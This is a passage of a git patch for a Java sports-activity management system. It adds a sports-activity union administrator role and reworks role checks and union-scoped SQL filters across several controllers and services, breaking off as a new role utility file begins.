From 4b110407c66738f9f7ca0dfc87747b9e85bc38ed Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=9C=E5=AD=A6=E6=88=90?= <1274337408@qq.com> Date: Wed, 23 Sep 2026 17:29:56 +0800 Subject: [PATCH] =?UTF-8?q?=E5=8D=97=E7=90=86=E5=B7=A5=E4=BD=93=E8=82=B2?= =?UTF-8?q?=E6=B4=BB=E5=8A=A8-=E5=88=9B=E5=BB=BA=E8=81=94=E5=90=88?= =?UTF-8?q?=E5=B7=A5=E4=BC=9A=E8=8F=9C=E5=8D=95-=E8=AE=BE=E7=BD=AE?= =?UTF-8?q?=E7=AE=A1=E7=90=86=E5=91=98=EF=BC=9A=E6=96=B0=E5=A2=9E=E2=80=98?= =?UTF-8?q?=E4=BD=93=E8=82=B2=E6=B4=BB=E5=8A=A8=E8=81=94=E5=90=88=E5=B7=A5?= =?UTF-8?q?=E4=BC=9A=E7=AE=A1=E7=90=86=E5=91=98=E2=80=99=E8=A7=92=E8=89=B2?= =?UTF-8?q?=EF=BC=88=E4=BB=A3=E6=9B=BF=E5=8E=9F=E6=9D=A5=E7=9A=84=E5=B7=A5?= =?UTF-8?q?=E4=BC=9A=E7=AE=A1=E7=90=86=E5=91=98=E8=A7=92=E8=89=B2H04?= =?UTF-8?q?=EF=BC=89=EF=BC=9B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../applets/ActivityListController.java | 13 ++- .../basic/ActivityBasicScopeController.java | 8 +- .../basic/ActivityUnionController.java | 19 ++-- .../school/ActivityApplyController.java | 5 +- .../school/ActivityCommonController.java | 31 ++---- .../school/ActivityInfoManageController.java | 7 +- .../school/ActivityReadingController.java | 11 ++- .../school/ActivityRemindController.java | 29 +++--- .../union/ActivityUnionManageController.java | 20 ++-- .../union/ActivityUnionPlanController.java | 3 +- .../ActivityUnionYearSummaryController.java | 7 +- .../impl/ActivityPlanServiceImpl.java | 5 +- .../impl/ActivityTissueServiceImpl.java | 5 +- .../nutz/activity/utils/ActivityRoleUtil.java | 71 ++++++++++++++ src/main/java/io/v/nutz/base/utils/Roles.java | 10 ++ .../UnionActivityRegisterController.java | 48 ++++++---- .../shiro/config/EasyCredentialsMatch.java | 2 +- ...nit_2_role_sports_activity_union_admin.sql | 95 +++++++++++++++++++ .../activity/school/ActivityApply.html | 2 +- .../activity/school/ActivityManage.html | 2 +- .../activity/school/ActivityReading.html | 2 +- 21 files changed, 305 insertions(+), 90 deletions(-) create mode 100644 src/main/java/io/v/nutz/activity/utils/ActivityRoleUtil.java create mode 100644 src/main/resources/db/init_2_role_sports_activity_union_admin.sql diff --git a/src/main/java/io/v/nutz/activity/controller/applets/ActivityListController.java b/src/main/java/io/v/nutz/activity/controller/applets/ActivityListController.java index a67b255..5e28ce2 100644 --- a/src/main/java/io/v/nutz/activity/controller/applets/ActivityListController.java +++ b/src/main/java/io/v/nutz/activity/controller/applets/ActivityListController.java @@ -3,8 +3,8 @@ package io.v.nutz.activity.controller.applets; import io.v.nutz.activity.models.ActivitySchoolApply; import io.v.nutz.activity.services.ActivitySchoolApplyService; import io.v.nutz.activity.services.ActivitySchoolService; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.annontation.ViReturn; -import io.v.nutz.base.utils.Roles; import io.v.nutz.dao.CndPlus; import io.v.nutz.modules.models.PageForm; import io.v.nutz.service.ViService; @@ -158,14 +158,17 @@ public class ActivityListController { Cnd cnd = Cnd.NEW(); Sql sql = Sqls.create(""" - SELECT id applyUser, loginname, username, sex, mobile, unitid unitId, unionid unionId FROM `user` $condition - """).setParam("userId", userId).setParam("roleId", Roles.UNION_MANGER); + SELECT u.id applyUser, u.loginname, u.username, u.sex, u.mobile, u.unitid unitId, un.unionid unionId + FROM `user` u + LEFT JOIN activity_basic_unit un ON un.id = u.unitid + $condition + """); - cnd.and("unionid", "in", "(SELECT sur.unionid FROM sys_user_role sur WHERE sur.userId = '" + userId + "' AND sur.roleId = '" + Roles.UNION_MANGER + "')"); + cnd.and("un.unionid", "in", ActivityRoleUtil.getManageUnionStr(userId)); if (Strings.isNotBlank(searchName)) { SqlExpressionGroup group = new SqlExpressionGroup(); - group.andLike("username", searchName).orLike("loginname", searchName); + group.andLike("u.username", searchName).orLike("u.loginname", searchName); cnd.and(group); } sql.setCondition(cnd); diff --git a/src/main/java/io/v/nutz/activity/controller/basic/ActivityBasicScopeController.java b/src/main/java/io/v/nutz/activity/controller/basic/ActivityBasicScopeController.java index 8542290..9b0e5e3 100644 --- a/src/main/java/io/v/nutz/activity/controller/basic/ActivityBasicScopeController.java +++ b/src/main/java/io/v/nutz/activity/controller/basic/ActivityBasicScopeController.java @@ -10,11 +10,11 @@ import cn.hutool.core.util.StrUtil; import cn.wizzer.framework.base.Result; import io.v.nutz.activity.models.ActivityUserCnd; import io.v.nutz.activity.models.ActivityUserScope; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.activity.services.ActivityBasicScopeService; import io.v.nutz.activity.template.UserTemp; import io.v.nutz.annontation.ViReturn; import io.v.nutz.base.service.SimpleService; -import io.v.nutz.base.utils.Vi; import io.v.nutz.modules.models.PageForm; import io.v.nutz.sys.models.Sys_role; import io.v.nutz.util.ViTool; @@ -255,7 +255,7 @@ public class ActivityBasicScopeController { """); Cnd cnd = Cnd.NEW(); if (!ShiroUtil.hasAnyRoles("sysadmin,H06,H10")) { - if (ShiroUtil.hasAnyRoles(new String[]{"H04", "club01"})) { + if (ActivityRoleUtil.isUnionManager() || ShiroUtil.hasRole("club01")) { cnd.and("creator", "=", ShiroUtil.getPrincipalProperty("id")); } } @@ -300,11 +300,11 @@ public class ActivityBasicScopeController { return new NutMap() {{ addv("is_H10", ShiroUtil.hasRole("H10")); addv("is_A06", ShiroUtil.hasRole("A06")); - addv("is_H04", ShiroUtil.hasRole("H04")); + addv("is_H04", ActivityRoleUtil.isUnionManager()); addv("is_H02", ShiroUtil.hasRole("club01")); addv("is_H03", ShiroUtil.hasRole("H03")); addv("is_sysadmin", ShiroUtil.hasRole("sysadmin")); - addv("unionid", Vi.getUnionId()); + addv("unionid", ActivityRoleUtil.getCurrentUnionId(simpleService.dao())); }}; } diff --git a/src/main/java/io/v/nutz/activity/controller/basic/ActivityUnionController.java b/src/main/java/io/v/nutz/activity/controller/basic/ActivityUnionController.java index 4738dfb..55af9e9 100644 --- a/src/main/java/io/v/nutz/activity/controller/basic/ActivityUnionController.java +++ b/src/main/java/io/v/nutz/activity/controller/basic/ActivityUnionController.java @@ -186,14 +186,15 @@ public class ActivityUnionController { "\tgh.*,\n" + "\tun.isEnable AS unisEnable,\n" + "\t(SELECT COUNT(*) FROM activity_basic_unit WHERE unionid=gh.id) unitnum,\n" + - "\tGROUP_CONCAT( fzr.username,'(',fzr.loginname,')' ) fzr\n" + + "\tGROUP_CONCAT(DISTINCT CONCAT(fzr.username,'(',fzr.loginname,')')) fzr\n" + "FROM\n" + "\tactivity_basic_union gh\n" + "\tLEFT JOIN sys_union un ON un.id = gh.id\n" + "\tLEFT JOIN sys_user_role sur ON gh.id = sur.unionid \n" + - "\tAND (sur.roleId = @ghfzrrole)\n" + + "\tAND sur.roleId IN (@ghfzrrole, @activityUnionAdminRole)\n" + "\tLEFT JOIN sys_user fzr ON sur.userId = fzr.id $condition"); sql.setParam("ghfzrrole", Roles.UNION_MANGER); + sql.setParam("activityUnionAdminRole", Roles.SPORTS_ACTIVITY_UNION_ADMIN); Cnd cnd = Cnd.NEW(); cnd.groupBy("gh.id"); if (Strings.isNotBlank(searchName) && Strings.isNotBlank(searchKeyword)) { @@ -309,8 +310,10 @@ public class ActivityUnionController { sysUnionService.update("activity_basic_unit", Chain.make("unionid", ""), Cnd.where("unionid", "=", id)); - //再删除工会负责人的权限 -// sysUnionService.clear("sys_user_role", Cnd.where("unionid", "=", id).and("roleid", "=", Roles.UNION_MANGER)); + //只清理当前联合工会的体育活动管理员,不影响H04和其他联合工会关系 + sysUnionService.clear("sys_user_role", Cnd.where("unionid", "=", id).and("roleid", "=", Roles.SPORTS_ACTIVITY_UNION_ADMIN)); + sysUserService.clearCache(); + sysRoleService.clearCache(); // flushDict(); @@ -332,7 +335,7 @@ public class ActivityUnionController { public Object getUserAndFzr(String id) { try { Sql sql = Sqls.create("SELECT u.id,u.username,u.loginname,CONCAT( u.username, '(', u.loginname, ')','-',u.unitname ) name from `user` u left join activity_basic_unit un on u.unitid=un.id WHERE un.unionid = @id").setParam("id", id); - Sql sql1 = Sqls.create("SELECT u.id,u.username,u.loginname,CONCAT( u.username, '(', u.loginname, ')','-',u.unitname ) name from `user` u left join activity_basic_unit un on u.unitid=un.id left join sys_user_role sur on u.id = sur.userId WHERE sur.unionid = @id and sur.userId is not null and sur.roleId = @roleid").setParam("id", id).setParam("roleid", Roles.UNION_MANGER); + Sql sql1 = Sqls.create("SELECT u.id,u.username,u.loginname,CONCAT( u.username, '(', u.loginname, ')','-',u.unitname ) name from `user` u left join activity_basic_unit un on u.unitid=un.id left join sys_user_role sur on u.id = sur.userId WHERE sur.unionid = @id and sur.userId is not null and sur.roleId = @roleid").setParam("id", id).setParam("roleid", Roles.SPORTS_ACTIVITY_UNION_ADMIN); return Result.success().addData(Record.create().set("data", sysUnionService.list(sql)).set("value", sysUnionService.list(sql1))); } catch (Exception e) { return Result.error(); @@ -349,10 +352,10 @@ public class ActivityUnionController { @At public Object doEditFzr(String unionid, String userids) { try { - //再删除工会负责人的权限 - sysUnionService.clear("sys_user_role", Cnd.where("unionid", "=", unionid).and("roleid", "=", Roles.UNION_MANGER)); + //只维护体育活动联合工会管理员,不修改原H04关系 + sysUnionService.clear("sys_user_role", Cnd.where("unionid", "=", unionid).and("roleid", "=", Roles.SPORTS_ACTIVITY_UNION_ADMIN)); for (String id : Json.fromJsonAsList(String.class, userids)) { - sysUnionService.insert("sys_user_role", Chain.make("roleid", Roles.UNION_MANGER).add("userid", id).add("unionid", unionid)); + sysUnionService.insert("sys_user_role", Chain.make("roleid", Roles.SPORTS_ACTIVITY_UNION_ADMIN).add("userid", id).add("unionid", unionid)); } sysUserService.clearCache(); sysRoleService.clearCache(); diff --git a/src/main/java/io/v/nutz/activity/controller/school/ActivityApplyController.java b/src/main/java/io/v/nutz/activity/controller/school/ActivityApplyController.java index 16130b7..0a42e51 100644 --- a/src/main/java/io/v/nutz/activity/controller/school/ActivityApplyController.java +++ b/src/main/java/io/v/nutz/activity/controller/school/ActivityApplyController.java @@ -6,6 +6,7 @@ import io.v.nutz.activity.models.*; import io.v.nutz.activity.services.ActivitySchoolApplyService; import io.v.nutz.activity.services.ActivitySchoolService; import io.v.nutz.activity.services.ActivitySchoolTeamService; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.annontation.ViReturn; import io.v.nutz.base.service.SimpleService; import io.v.nutz.base.utils.DateUtil; @@ -155,7 +156,7 @@ public class ActivityApplyController { } - if (!ShiroUtil.hasAnyRoles("H04,gh08,sysadmin")) { + if (!ActivityRoleUtil.isUnionManager() && !ShiroUtil.hasAnyRoles("gh08,sysadmin")) { cnd.and(new Static("JSON_CONTAINS(school.applyWay,JSON_ARRAY( 1))>0")); cnd.and(new Static("(SELECT COUNT(1) FROM activity_user_scope WHERE groupId=school.activityGroupId AND userId='%s') >0".formatted(ShiroUtil.getUserId()))); } @@ -611,7 +612,7 @@ public class ActivityApplyController { """).setParam("unionId", getUnionId()).setParam("userId", ShiroUtil.getUserId()); - if (!ShiroUtil.hasAnyRoles("H04,gh08,sysadmin")) { + if (!ActivityRoleUtil.isUnionManager() && !ShiroUtil.hasAnyRoles("gh08,sysadmin")) { cnd.where().andLike("school.applyWay ", "1"); cnd.and(new Static("(SELECT COUNT(1) FROM activity_user_scope WHERE groupId=school.activityGroupId AND userId='%s') >0".formatted(ShiroUtil.getUserId()))); diff --git a/src/main/java/io/v/nutz/activity/controller/school/ActivityCommonController.java b/src/main/java/io/v/nutz/activity/controller/school/ActivityCommonController.java index 3f202b9..0219cfb 100644 --- a/src/main/java/io/v/nutz/activity/controller/school/ActivityCommonController.java +++ b/src/main/java/io/v/nutz/activity/controller/school/ActivityCommonController.java @@ -11,12 +11,11 @@ import io.v.nutz.activity.models.*; import io.v.nutz.activity.services.ActivityPlanService; import io.v.nutz.activity.services.ActivitySchoolApplyService; import io.v.nutz.activity.services.ActivitySchoolService; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.annontation.ViReturn; import io.v.nutz.dao.CndPlus; import io.v.nutz.service.ViService; import io.v.nutz.sys.models.Sys_union; -import io.v.nutz.sys.models.Sys_unit; -import io.v.nutz.sys.models.Sys_user; import io.v.nutz.sys.services.SysUnionService; import io.v.nutz.util.ShiroUtil; import org.apache.poi.ss.usermodel.Workbook; @@ -164,18 +163,9 @@ public class ActivityCommonController { return activityPlanService.listMap(Sqls.create("select * from activity_plan where type = @type").setParam("type", type)); } - private String getUnionId() { - Sys_user user = (Sys_user) ShiroUtil.getPrincipal(); - Sys_unit unit = user.getUnit(); - return unit == null ? "" : unit.getUnionid(); - } - @At @ViReturn public Object findOne(String id) { - - String unionid = getUnionId(); - Sql sql = Sqls.create(""" SELECT act.*, @@ -216,15 +206,16 @@ public class ActivityCommonController { LEFT JOIN activity_school_team team ON app.teamId = team.id LEFT JOIN sys_unit unit ON app.unitId = unit.id WHERE - app.activityId = @id + app.activityId = @id + $union ORDER BY app.identity DESC, team.location ASC, app.sex - """).setParam("id", id); + """).setParam("id", id).setVar("union", ""); - if (!ShiroUtil.hasAnyRoles("sysadmin,A06") && ShiroUtil.hasRole("H04")) { - sql1.setVar("union", " AND app.unionId = '" + unionid + "' "); + if (!ShiroUtil.hasAnyRoles("sysadmin,A06") && ActivityRoleUtil.isUnionManager()) { + sql1.setVar("union", " AND app.unionId IN " + ActivityRoleUtil.getManageUnionStr(ShiroUtil.getUserId())); } List applies = activitySchoolApplyService.listMap(sql1); @@ -236,8 +227,8 @@ public class ActivityCommonController { Cnd unionCnd = Cnd.NEW(); - if (!ShiroUtil.hasAnyRoles("sysadmin,A06") && ShiroUtil.hasRole("H04")) { - unionCnd.and("id", "=", unionid); + if (!ShiroUtil.hasAnyRoles("sysadmin,A06") && ActivityRoleUtil.isUnionManager()) { + unionCnd.and("id", "in", ActivityRoleUtil.getManageUnionStr(ShiroUtil.getUserId())); } List unions = sysUnionService.query(unionCnd); @@ -384,10 +375,8 @@ public class ActivityCommonController { """); if (!ShiroUtil.hasAnyRoles("sysadmin,A06")) { - if (ShiroUtil.hasRole("H04")) { - Sys_user user = (Sys_user) ShiroUtil.getPrincipal(); - Sys_unit unit = user.getUnit(); - unionCnd.and("un.id", "=", unit.getUnionid()); + if (ActivityRoleUtil.isUnionManager()) { + unionCnd.and("un.id", "in", ActivityRoleUtil.getManageUnionStr(ShiroUtil.getUserId())); } } else { unionCnd.andExcludeEmpty("un.id", "=", unionId); diff --git a/src/main/java/io/v/nutz/activity/controller/school/ActivityInfoManageController.java b/src/main/java/io/v/nutz/activity/controller/school/ActivityInfoManageController.java index c53927e..93c98a6 100644 --- a/src/main/java/io/v/nutz/activity/controller/school/ActivityInfoManageController.java +++ b/src/main/java/io/v/nutz/activity/controller/school/ActivityInfoManageController.java @@ -3,6 +3,7 @@ package io.v.nutz.activity.controller.school; import cn.hutool.core.util.StrUtil; import io.v.nutz.activity.models.*; import io.v.nutz.activity.services.ActivitySchoolService; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.annontation.ViReturn; import io.v.nutz.base.result.Result; import io.v.nutz.base.utils.DateUtil; @@ -104,8 +105,8 @@ public class ActivityInfoManageController { cnd.and(new Static("now() > school.endTime")); } if (!ShiroUtil.hasAnyRoles("sysadmin,A06")) { - if (ShiroUtil.hasRole("H04")) { - cnd.and("school.belongUnionId", "=", Vi.getUnionId()); + if (ActivityRoleUtil.isUnionManager()) { + cnd.and("school.belongUnionId", "in", ActivityRoleUtil.getManageUnionStr(ShiroUtil.getUserId())); } if (ShiroUtil.hasRole("H02")) { cnd.and("school.belongClubId", "in", vi.getMangeClubStr()); @@ -183,7 +184,7 @@ public class ActivityInfoManageController { public Object doEdit(@Param("data") ActivitySchool activitySchool, @Param("events") ActivitySchoolEvent[] events) { ActivitySchool school = activitySchoolService.fetch(activitySchool.getId()); if (school.getActivityLevel() == 40002) { - school.setBelongUnionId(Vi.getUnionId()); + activitySchool.setBelongUnionId(ActivityRoleUtil.getCurrentUnionId(activitySchoolService.dao())); } activitySchoolService.doEdit(activitySchool, events, school.getApplyEndTime()); diff --git a/src/main/java/io/v/nutz/activity/controller/school/ActivityReadingController.java b/src/main/java/io/v/nutz/activity/controller/school/ActivityReadingController.java index 3c9e285..4e874c7 100644 --- a/src/main/java/io/v/nutz/activity/controller/school/ActivityReadingController.java +++ b/src/main/java/io/v/nutz/activity/controller/school/ActivityReadingController.java @@ -10,6 +10,7 @@ import io.v.nutz.activity.controller.school.constant.SchoolActivityApplyExportEn import io.v.nutz.activity.models.*; import io.v.nutz.activity.services.ActivitySchoolApplyService; import io.v.nutz.activity.services.ActivitySchoolService; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.annontation.ViReturn; import io.v.nutz.base.service.BaseService; import io.v.nutz.base.utils.DateUtil; @@ -89,7 +90,11 @@ public class ActivityReadingController { cnd.and("activityLevel", "=", activityLevel); if (!ShiroUtil.hasAnyRoles("sysadmin,A06")) { if (activityLevel.equals("40002")) { - cnd.and("belongUnionId", "=", getUnionId()); + if (ActivityRoleUtil.isUnionManager()) { + cnd.and("belongUnionId", "in", ActivityRoleUtil.getManageUnionStr(ShiroUtil.getUserId())); + } else { + cnd.and("belongUnionId", "=", getUnionId()); + } } if (activityLevel.equals("40003")) { cnd.and("belongClubId", "in", vi.getMangeClubStr()); @@ -133,7 +138,7 @@ public class ActivityReadingController { // cnd.and("YEAR(app.applyDate)", "=", year); sql.setCondition(cnd); if (!ShiroUtil.hasAnyRoles("sysadmin,A06")) { - if (ShiroUtil.hasAnyRoles("H04,gh08") && activityLevel.equals("40002")) { + if ((ActivityRoleUtil.isUnionManager() || ShiroUtil.hasRole("gh08")) && activityLevel.equals("40002")) { cnd.and("app.activityUnionId", "=", basicUnit.getUnionid()); cnd.and("school.belongUnionId", "=", basicUnit.getUnionid()); } @@ -148,7 +153,7 @@ public class ActivityReadingController { Cnd unionCnd = Cnd.NEW(); if (!ShiroUtil.hasAnyRoles("sysadmin,A06")) { - if (ShiroUtil.hasAnyRoles("H04,gh08")) { + if (ActivityRoleUtil.isUnionManager() || ShiroUtil.hasRole("gh08")) { unionCnd.and("id", "=", basicUnit.getUnionid()); } } diff --git a/src/main/java/io/v/nutz/activity/controller/school/ActivityRemindController.java b/src/main/java/io/v/nutz/activity/controller/school/ActivityRemindController.java index 615cf79..17d1e3a 100644 --- a/src/main/java/io/v/nutz/activity/controller/school/ActivityRemindController.java +++ b/src/main/java/io/v/nutz/activity/controller/school/ActivityRemindController.java @@ -3,6 +3,7 @@ package io.v.nutz.activity.controller.school; import io.v.nutz.activity.models.ActivitySchoolEvent; import io.v.nutz.activity.services.ActivitySchoolApplyService; import io.v.nutz.activity.services.ActivitySchoolService; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.annontation.ViReturn; import io.v.nutz.base.utils.RCSCloudAPI; import io.v.nutz.base.utils.Roles; @@ -118,33 +119,35 @@ public class ActivityRemindController { un.unionname, ( SELECT - GROUP_CONCAT(su.mobile) + GROUP_CONCAT(DISTINCT su.mobile) FROM sys_user_role sur LEFT JOIN sys_user su ON su.id = sur.userId LEFT JOIN sys_role sr ON sr.id = sur.roleId WHERE sur.unionid = un.id - AND sr.id = @roleId + AND sr.id IN (@h04RoleId, @activityRoleId) ) telephone, ( SELECT - GROUP_CONCAT(su.username) + GROUP_CONCAT(DISTINCT su.username) FROM sys_user_role sur LEFT JOIN sys_user su ON su.id = sur.userId LEFT JOIN sys_role sr ON sr.id = sur.roleId WHERE sur.unionid = un.id - AND sr.id = @roleId + AND sr.id IN (@h04RoleId, @activityRoleId) ) unionleader, ( SELECT COUNT( 1 ) FROM activity_school_apply asp WHERE asp.unionId = un.id AND asp.activityId = @activityId ) num FROM `sys_union` un ORDER BY un.unioncode - """).setParam("roleId", Roles.UNION_MANGER).setParam("activityId", activityId); + """).setParam("h04RoleId", Roles.UNION_MANGER) + .setParam("activityRoleId", Roles.SPORTS_ACTIVITY_UNION_ADMIN) + .setParam("activityId", activityId); List unions = sysUnionService.list(sql); @@ -174,21 +177,23 @@ public class ActivityRemindController { un.unionname, ( SELECT - su.mobile + GROUP_CONCAT(DISTINCT su.mobile) FROM sys_user_role sur LEFT JOIN sys_user su ON su.id = sur.userId LEFT JOIN sys_role sr ON sr.id = sur.roleId WHERE sur.unionid = un.id - AND sr.id = @roleId + AND sr.id IN (@h04RoleId, @activityRoleId) ) telephone, ( SELECT COUNT( 1 ) FROM activity_school_apply asp WHERE asp.unionId = un.id AND asp.activityId = @activityId ) num FROM `sys_union` un ORDER BY un.unioncode - """).setParam("roleId", Roles.UNION_MANGER).setParam("activityId", activityId); + """).setParam("h04RoleId", Roles.UNION_MANGER) + .setParam("activityRoleId", Roles.SPORTS_ACTIVITY_UNION_ADMIN) + .setParam("activityId", activityId); List unions = sysUnionService.list(sql); @@ -197,7 +202,9 @@ public class ActivityRemindController { }).collect(Collectors.toList()); collect.forEach(v -> { - RCSCloudAPI.sendTplSms("399ac7a7901c49df9f5939d0f10d566b", v.getString("telephone"), "@1@=" + v.getString("unionname") + "", ""); + for (String phone : v.getString("telephone").split(",")) { + RCSCloudAPI.sendTplSms("399ac7a7901c49df9f5939d0f10d566b", phone, "@1@=" + v.getString("unionname") + "", ""); + } }); return null; @@ -208,8 +215,8 @@ public class ActivityRemindController { public Object getActivitys() { Cnd cnd = Cnd.NEW(); if (!ShiroUtil.hasAnyRoles("sysadmin,A06")) { - if (ShiroUtil.hasRole("H04")) { - cnd.and("school.belongUnionId", "=", Vi.getUnionId()); + if (ActivityRoleUtil.isUnionManager()) { + cnd.and("school.belongUnionId", "in", ActivityRoleUtil.getManageUnionStr(ShiroUtil.getUserId())); } if (ShiroUtil.hasRole("H02")) { cnd.and("school.belongClubId", "in", vi.getMangeClubStr()); diff --git a/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionManageController.java b/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionManageController.java index d156050..371fea1 100644 --- a/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionManageController.java +++ b/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionManageController.java @@ -10,6 +10,7 @@ import io.v.nutz.activity.models.ActivityTissue; import io.v.nutz.activity.models.ActivityTissuePerson; import io.v.nutz.activity.services.ActivitySchoolService; import io.v.nutz.activity.services.ActivityTissueService; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.annontation.ViReturn; import io.v.nutz.base.utils.DateUtil; import io.v.nutz.base.utils.Vi; @@ -101,20 +102,27 @@ public class ActivityUnionManageController { CndPlus cnd = CndPlus.create(); Sql sql = Sqls.create(""" - SELECT id userId,username userName,loginname loginName,sex,mobile,unitname unitName,unionname unionName FROM `user` $condition + SELECT u.id userId,u.username userName,u.loginname loginName,u.sex,u.mobile,u.unitname unitName,u.unionname unionName + FROM `user` u + LEFT JOIN activity_basic_unit un ON un.id = u.unitid + $condition """); if (!ShiroUtil.hasRole("sysadmin")) { if (activity_type == 40002) { - cnd.and("unionId", "=", vi.getUnionId()); + if (ActivityRoleUtil.isUnionManager()) { + cnd.and("un.unionId", "in", ActivityRoleUtil.getManageUnionStr(ShiroUtil.getUserId())); + } else { + cnd.and("u.unionId", "=", vi.getUnionId()); + } } else if (activity_type == 40003) { - cnd.and("id", "in", " SELECT userid FROM sys_club_user WHERE clubid = '%s' ".formatted(vi.getClubId())); + cnd.and("u.id", "in", " SELECT userid FROM sys_club_user WHERE clubid = '%s' ".formatted(vi.getClubId())); } } if (Strings.isNotBlank(serachWord)) { SqlExpressionGroup group = new SqlExpressionGroup(); - group.andLike("username", serachWord); - group.orLike("loginname", serachWord); + group.andLike("u.username", serachWord); + group.orLike("u.loginname", serachWord); cnd.and(group); } @@ -136,7 +144,7 @@ public class ActivityUnionManageController { tissue.setApplyTime(DateUtil.getDate()); if (tissue.getType() == 40002) { tissue.setState(1); - tissue.setUnionId(Vi.getUnionId()); + tissue.setUnionId(ActivityRoleUtil.getCurrentUnionId(activityTissueService.dao())); } else if (tissue.getType() == 40003) { tissue.setState(1); tissue.setClubId(vi.getClubId()); diff --git a/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionPlanController.java b/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionPlanController.java index b29aebf..f1a30bc 100644 --- a/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionPlanController.java +++ b/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionPlanController.java @@ -2,6 +2,7 @@ package io.v.nutz.activity.controller.union; import io.v.nutz.activity.models.ActivityPlan; import io.v.nutz.activity.services.ActivityPlanService; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.annontation.ViReturn; import io.v.nutz.base.utils.Vi; import io.v.nutz.dao.CndPlus; @@ -87,7 +88,7 @@ public class ActivityUnionPlanController { activityPlan.setActivityType(activityType); if (type.equals("40002")) { activityPlan.setType("40002"); - activityPlan.setTissueId(Vi.getUnionId()); + activityPlan.setTissueId(ActivityRoleUtil.getCurrentUnionId(activityPlanService.dao())); } else if (type.equals("40003")) { activityPlan.setType("40003"); activityPlan.setTissueId(vi.getClubId()); diff --git a/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionYearSummaryController.java b/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionYearSummaryController.java index 01f3a68..b5817d4 100644 --- a/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionYearSummaryController.java +++ b/src/main/java/io/v/nutz/activity/controller/union/ActivityUnionYearSummaryController.java @@ -5,6 +5,7 @@ import cn.wizzer.framework.base.Result; import cn.wizzer.framework.base.service.BaseService; import io.v.nutz.activity.models.ActivityYearSummary; import io.v.nutz.activity.services.ActivityYearSummaryService; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.annontation.ViReturn; import io.v.nutz.base.utils.Roles; import io.v.nutz.base.utils.Vi; @@ -105,7 +106,11 @@ public class ActivityUnionYearSummaryController { if ("2".equals(summaryFrom)) { str += " left join sys_union un on su.tissueId = un.id"; if (!ShiroUtil.hasAnyRoles(new String[]{"sysadmin", "A06"})) { - cnd.and("su.tissueId", "=", Vi.getUnionId()); + if (ActivityRoleUtil.isUnionManager()) { + cnd.and("su.tissueId", "in", ActivityRoleUtil.getManageUnionStr(ShiroUtil.getUserId())); + } else { + cnd.and("su.tissueId", "=", Vi.getUnionId()); + } } } if ("3".equals(summaryFrom)) { diff --git a/src/main/java/io/v/nutz/activity/services/impl/ActivityPlanServiceImpl.java b/src/main/java/io/v/nutz/activity/services/impl/ActivityPlanServiceImpl.java index 7643ab4..2f61793 100644 --- a/src/main/java/io/v/nutz/activity/services/impl/ActivityPlanServiceImpl.java +++ b/src/main/java/io/v/nutz/activity/services/impl/ActivityPlanServiceImpl.java @@ -2,6 +2,7 @@ package io.v.nutz.activity.services.impl; import io.v.nutz.activity.models.ActivityPlan; import io.v.nutz.activity.services.ActivityPlanService; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.base.utils.Vi; import io.v.nutz.dao.CndPlus; import io.v.nutz.modules.models.PageForm; @@ -54,8 +55,8 @@ public class ActivityPlanServiceImpl extends ViServiceImpl impleme } if (!ShiroUtil.hasAnyRoles("sysadmin,H10,A06")) { - if (ShiroUtil.hasRole("H04")) { - cnd.and("tissueId", "in", vi.getMangeUnionStr()); + if (ActivityRoleUtil.isUnionManager()) { + cnd.and("tissueId", "in", ActivityRoleUtil.getManageUnionStr(ShiroUtil.getUserId())); } else if (ShiroUtil.hasRole("H02")) { cnd.and("tissueId", "in", vi.getMangeClubStr()); } diff --git a/src/main/java/io/v/nutz/activity/services/impl/ActivityTissueServiceImpl.java b/src/main/java/io/v/nutz/activity/services/impl/ActivityTissueServiceImpl.java index 07d1f9a..81a2e9e 100644 --- a/src/main/java/io/v/nutz/activity/services/impl/ActivityTissueServiceImpl.java +++ b/src/main/java/io/v/nutz/activity/services/impl/ActivityTissueServiceImpl.java @@ -4,6 +4,7 @@ import cn.hutool.core.util.StrUtil; import io.v.nutz.activity.models.ActivityTissue; import io.v.nutz.activity.models.ActivityTissuePerson; import io.v.nutz.activity.services.ActivityTissueService; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.base.utils.Vi; import io.v.nutz.common.models.Goods; import io.v.nutz.dao.CndPlus; @@ -75,8 +76,8 @@ public class ActivityTissueServiceImpl extends ViServiceImpl imp } if (!ShiroUtil.hasAnyRoles("sysadmin,H10,A06")) { - if (ShiroUtil.hasRole("H04")) { - cnd.and("tissue.unionId", "in", vi.getMangeUnionStr()); + if (ActivityRoleUtil.isUnionManager()) { + cnd.and("tissue.unionId", "in", ActivityRoleUtil.getManageUnionStr(ShiroUtil.getUserId())); } else if (ShiroUtil.hasRole("H02")) { cnd.and("tissue.clubId", "in", vi.getMangeClubStr()); } diff --git a/src/main/java/io/v/nutz/activity/utils/ActivityRoleUtil.java b/src/main/java/io/v/nutz/activity/utils/ActivityRoleUtil.java new file mode 100644 index 0000000..65b54c8 --- /dev/null +++ b/src/main/java/io/v/nutz/activity/utils/ActivityRoleUtil.java @@ -0,0 +1,71 @@ +package io.v.nutz.activity.utils; + +import 